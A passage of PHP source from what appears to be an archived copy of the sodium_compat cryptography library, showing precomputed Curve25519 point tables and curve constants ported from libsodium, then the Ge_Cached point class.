                array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859),
                array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523),
                array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
                array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858),
                array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array<int, array<int, array<int, int>>> basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800),
            array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     * 37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );
}
Core32/Curve25519/Ge/Cached.php000064400000003415151024233030011502 0ustar00<?php


if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Cached', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $T2d
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $YplusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $YminusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $Z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T2d = $T2d;
    }
}
Core32/Curve25519/Ge/P3.php000064400000003242151024233030010613 0ustar00<?php

